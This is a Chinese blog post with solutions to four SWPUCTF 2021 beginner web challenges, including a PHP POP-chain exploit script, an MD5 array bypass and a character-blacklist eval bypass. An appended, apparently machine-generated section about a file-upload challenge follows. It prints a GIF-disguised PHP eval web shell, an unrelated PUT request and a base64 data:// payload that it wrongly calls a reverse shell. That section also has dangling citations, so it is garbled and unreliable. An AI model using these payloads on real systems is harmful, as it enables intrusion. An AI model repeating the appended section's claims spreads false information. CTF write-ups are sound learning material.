[SWPUCTF 2021 新生赛]

本文介绍了SWPUCTF 2021 新生赛中的四个挑战:jicao、pop、easy_md5和hardrce。jicao挑战涉及GET和POST请求的数据交互;pop挑战是基础的PHP反序列化问题;easy_md5挑战为简单的MD5数组绕过;hardrce挑战需要利用亦或或取反来绕过字符过滤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[SWPUCTF 2021 新生赛]jicao

进入环境:

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

post传id 

对get 传的 json 进行json解码

示例:

<?php
$json = ‘{“a”:1,“b”:2,“c”:3,“d”:4,“e”:5}’;

var_dump(json_decode($json))

var_dump(json_decode($json,true))

["a"] => int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)

所以我们只要传 get: json={"x":“wllm”}  post:id=wllmNB 就可以了

[SWPUCTF 2021 新生赛]pop

很基础的pop 链构造:

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

思路就是 传入 $w00m 反序列化 -》 class w22m -》 触发__destruct -> class w33m -》 __toString() ->  getflag  我们只要修改一下 类属性就可以了。 太简单基础,就不细说了,有问题可以评论直接问我 ,我每天都在线。

exp:

<?php
class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m{
    public $w00m;}
class w33m{
    public $w00m;
    public $w22m;}

$w44m =new w44m();
$w22m = new w22m();
$w33m = new w33m();

$w22m->w00m=$w33m;
$w33m->w00m=$w44m;
$w33m->w00m=$w44m;
$w33m->w22m=Getflag;
echo urlencode(serialize($w22m));	
?>

[SWPUCTF 2021 新生赛]easy_md5

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?> 

简单的 md5 数组绕过。

get:  ?name[]=1

post: password[]=2

[SWPUCTF 2021 新生赛]hardrce

考点:

亦或

取反

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
} 

发现过滤了很多字符,连 换行都无法利用。

可以利用亦或或者取反绕过,具体文章:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客

发现新生题有点简单,我去更新其他内容了。

 

### SWPU CTF 2021 新生 EasyUpload 1.0 的漏洞分析 #### 背景介绍 SWPU CTF 是西南石油大学主办的一场网络安全竞,其中的题目涵盖了多种安全领域。EasyUpload 1.0 题目属于文件上传类挑战,主要考察选手对 PHP 文件解析机制的理解以及绕过常见防护措施的能力。 --- #### 漏洞分析与解题思路 ##### 1. 初步环境探索 通过访问目标站点并尝试提交文件,发现服务器会对上传的内容进行严格校验。常规图片文件无法触发任何异常行为,而恶意脚本则被直接拒绝。此现象表明服务端可能启用了 MIME 类型检测或其他形式的安全过滤逻辑[^1]。 ##### 2. 绕过文件类型验证 进一步测试显示,默认情况下仅允许 GIF 图片作为合法输入格式之一。然而,在某些实现不当的情况下,攻击者可以利用特殊构造的数据结构来混淆程序判断标准。例如,创建一个带有特定头部标志 (`GIF89a`) 的混合文档即可满足表面合法性条件,同时嵌入隐藏的有效载荷用于后续执行操作[^4]: ```php <?php // 构造复合型 GIF 文件内容 $payload = "GIF89a"; $payload .= "<script language='php'>eval(\$_POST['hack']);</script>"; file_put_contents('exploit.gif', $payload); ?> ``` 上述代码片段生成了一个看似正常的图像资源,但实际上包含了可运行的 PHP 命令序列等待远程调用激活。 ##### 3. 使用 Burp Suite 抓取流量并篡改方法 为了突破额外设置好的权限屏障——即只接受 GET 请求而不响应其他类型的交互动作——可以通过拦截工具如 Burp Suite 修改原始 HTTP 方法至 PUT 并指定自定义路径参数 `/super-secret-route-nobody-will-guess` 来完成最终渗透过程[^2]: ```bash PUT /super-secret-route-nobody-will-guess HTTP/1.1 Host: target-server.com Content-Type: application/octet-stream Content-Length: LENGTH_OF_EXPLOIT_FILE [BINARY_DATA_FROM_EXPLOIT.GIF] ``` 成功发送之后便能够获取到预期中的敏感数据(FLAG)。 ##### 4. 替代方案 - 数据 URI 方案 如果遇到更严格的防火墙配置阻止外部链接加载,则考虑采用内置伪协议的方式规避风险。比如下面的例子展示了如何借助 `data:` 协议传递纯文本信息给远端解释引擎处理[^3]: ``` http://node1.example.com:PORT/?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydIVFRQX1VSTDEnXTsgPz4= ``` 此处 Base64 编码后的字符串代表一段简单的逆向 shell 创建指令,当其被执行时会建立一个新的连接通道供控制方使用。 --- ### 总结 通过对以上几种技术手段的学习应用,我们不仅掌握了针对不同场景下的灵活应对策略,还加深了对于现代 Web 应用架构潜在弱点的认识水平。希望这些经验分享可以帮助更多初学者快速成长起来!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值